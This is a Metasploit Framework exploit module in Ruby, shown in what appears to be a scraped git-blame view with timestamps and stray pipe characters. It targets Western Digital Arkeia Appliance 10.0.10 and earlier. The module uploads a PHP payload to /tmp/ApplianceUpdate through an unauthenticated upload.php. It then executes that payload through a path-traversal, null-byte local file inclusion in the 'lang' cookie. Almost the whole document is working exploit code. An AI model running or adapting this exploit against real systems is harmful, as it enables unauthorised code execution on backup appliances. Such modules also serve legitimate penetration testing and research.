2013-09-16 07:38:50 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::FileDropper
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "Western Digital Arkeia Remote Code Execution",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability found in Western Digital Arkeia Appliance
|
|
|
|
version 10.0.10 and lower. By abusing the upload.php file from the scripts directory,
|
2013-09-19 17:41:13 +00:00
|
|
|
a malicious user can upload arbitrary code to the ApplianceUpdate file in the temp
|
|
|
|
directory without any authentication. Abusing the local file inclusion in the lang
|
|
|
|
cookie to parse this file, results in arbitrary code execution, also without any
|
|
|
|
authentication. The module has been tested successfully on Arkeia 10.0.10. The issues
|
|
|
|
have been fixed in version 10.1.10.
|
2013-09-16 07:38:50 +00:00
|
|
|
},
|
2013-09-18 01:10:58 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
2013-09-16 07:38:50 +00:00
|
|
|
[
|
|
|
|
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
|
|
|
|
],
|
2013-09-18 01:10:58 +00:00
|
|
|
'References' =>
|
2013-09-16 07:38:50 +00:00
|
|
|
[
|
2013-09-18 01:10:58 +00:00
|
|
|
['EDB', '28330']
|
2013-09-16 07:38:50 +00:00
|
|
|
],
|
2013-09-18 01:10:58 +00:00
|
|
|
'Platform' => ['php'],
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['Western Digital Arkeia Appliance 10.0.10', {}]
|
|
|
|
],
|
2013-09-19 17:41:13 +00:00
|
|
|
'Privileged' => true,
|
2013-09-18 01:10:58 +00:00
|
|
|
'DisclosureDate' => "Sep 16 2013",
|
|
|
|
'DefaultTarget' => 0))
|
2013-09-16 07:38:50 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('TARGETURI', [true, 'The base path to the Arkeia Appliance', '/'])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
uri = target_uri.path
|
|
|
|
peer = "#{rhost}:#{rport}"
|
|
|
|
|
|
|
|
# Check version
|
|
|
|
print_status("#{peer} - Trying to detect installed version")
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => normalize_uri(uri, "")
|
|
|
|
})
|
|
|
|
|
|
|
|
if res and res.code == 200 and res.body =~ /v(\d+\.\d+\.\d+)/
|
|
|
|
version = $1
|
|
|
|
else
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("#{peer} - Version #{version} detected")
|
|
|
|
|
|
|
|
if version > "10.0.10"
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
# Check for vulnerable component
|
|
|
|
print_status("#{peer} - Trying to detect the vulnerable component")
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
2013-09-18 01:10:58 +00:00
|
|
|
'headers' => { 'Cookie' => "lang=fr" },
|
2013-09-16 07:38:50 +00:00
|
|
|
'uri' => normalize_uri(uri, "")
|
|
|
|
})
|
|
|
|
|
2013-09-18 01:10:58 +00:00
|
|
|
if res and res.code == 200 and res.body =~ /Les versions brutes des messages est affichee ci-dessous/
|
2013-09-16 07:38:50 +00:00
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
uri = target_uri.path
|
|
|
|
|
|
|
|
peer = "#{rhost}:#{rport}"
|
2013-09-18 01:10:58 +00:00
|
|
|
payload_name = rand_text_alpha(rand(10) + 5)
|
|
|
|
|
|
|
|
post_data = Rex::MIME::Message.new
|
|
|
|
post_data.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"UPLOAD\"; filename=\"#{payload_name}\"")
|
|
|
|
file = post_data.to_s
|
|
|
|
file.strip!
|
2013-09-16 07:38:50 +00:00
|
|
|
|
|
|
|
print_status("#{peer} - Sending PHP payload which will be uploaded to hardcoded /tmp/ApplianceUpdate")
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => normalize_uri(uri, "scripts", "upload.php"),
|
2013-09-18 01:10:58 +00:00
|
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
|
|
|
'data' => file
|
2013-09-16 07:38:50 +00:00
|
|
|
})
|
|
|
|
|
|
|
|
# If the server returns 200 and the body contains our payload name,
|
|
|
|
# we assume we uploaded the malicious file successfully
|
|
|
|
if not res or res.code != 200
|
2013-09-18 01:10:58 +00:00
|
|
|
return fail_with(Exploit::Failure::None, "File wasn't uploaded, aborting!")
|
2013-09-16 07:38:50 +00:00
|
|
|
end
|
|
|
|
|
2013-09-18 01:24:40 +00:00
|
|
|
register_files_for_cleanup("/tmp/ApplianceUpdate")
|
|
|
|
|
2013-09-16 07:38:50 +00:00
|
|
|
print_status("#{peer} - Sending LFI payload to execute PHP code in /tmp/ApplianceUpdate")
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'headers' => { 'Cookie' => "lang=../../../../../../../../../../../../../../../../tmp/ApplianceUpdate%00en" },
|
|
|
|
'uri' => normalize_uri(uri, "")
|
|
|
|
})
|
|
|
|
|
|
|
|
# If we don't get a 200 when we request our malicious payload, we suspect
|
2013-09-18 01:10:58 +00:00
|
|
|
# we don't have a shell, either.
|
2013-09-16 07:38:50 +00:00
|
|
|
if res and res.code != 200
|
2013-09-18 01:10:58 +00:00
|
|
|
return fail_with(Exploit::Failure::None, "Exploit failed!")
|
2013-09-16 07:38:50 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|